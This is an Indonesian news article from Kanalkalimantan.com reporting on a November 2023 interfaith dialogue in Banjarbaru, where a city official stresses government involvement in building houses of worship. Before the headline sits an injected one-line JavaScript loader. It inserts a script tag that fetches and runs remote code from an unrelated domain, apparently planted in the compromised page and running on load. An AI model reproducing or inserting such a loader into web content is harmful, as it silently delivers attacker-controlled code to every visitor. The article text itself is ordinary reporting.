(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dialog Tokoh Lintas Agama Banjarbaru Wujudkan Kebersamaan, Toleransi, dan Perdamaian

KANALKALIMANTAN.COM, BANJARBARU – Memperkuat kerukunan antar umat beragama di Kota Banjarbaru, PCNU Kota Banjarbaru dan Bimas Islam Kemenag RI menggelar dialog para tokoh lintas agama, pengelola rumah ibadah, dan pengelola yayasan keagamaan, Rabu (22/11/2023).

Dialog berlangsung di Warung Makan Bu Joko, Jalan Trikora Banjarbaru itu menjadi wadah untuk menyampaikan persepsi dan mendiskusikan isu hangat antar umat beragama yang sedang terjadi di masyarakat.

Selanjutnya dapat mengambil langkah konkret menjadikan Kota Banjarbaru aman, tertib, dan nyaman dalam beragama.

Pemerintah Kota Banjarbaru diwakili Staf Ahli Wali Kota Bidang Ekonomi dan Keuangan, Abdul Malik. Wujud keseriusan Pemko Banjarbaru dalam mendorong kemajuan kerukunan umat beragama di kota ini yang memiliki penduduk sangat beragam.

Abdul Malik menyoroti mengenai pentingnya keterlibatan pemerintah dalam pembangunan rumah ibadah yang bukan hanya sekadar sebuah opsi, melainkan suatu keharusan agar dapat memastikan kenyamanan, keamanan, dan ketertiban bagi seluruh umat beragama.

Peran aktif pemerintah bukan hanya dalam aspek administratif, tetapi juga sebagai garda terdepan untuk memastikan bahwa setiap tempat ibadah tidak hanya menjadi tempat untuk beribadah, tetapi juga sebagai pusat yang memupuk rasa kebersamaan, toleransi, dan perdamaian di tengah masyarakat.

“Aspirasi masyarakat dan pendapat para pemuka agama sangat penting untuk diperhatikan dalam membangun rumah ibadah yang selanjutnya pemerintah kota melalui pihak terkait seperti Kesbangpol, camat, kurah, dan Forum Komunikasi Umat Beragama mampu tidak hanya mengurangi resistensi atau penolakan dari warga, juga beribadah dapat dijalankan dengan nyaman,” ungkapnya. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk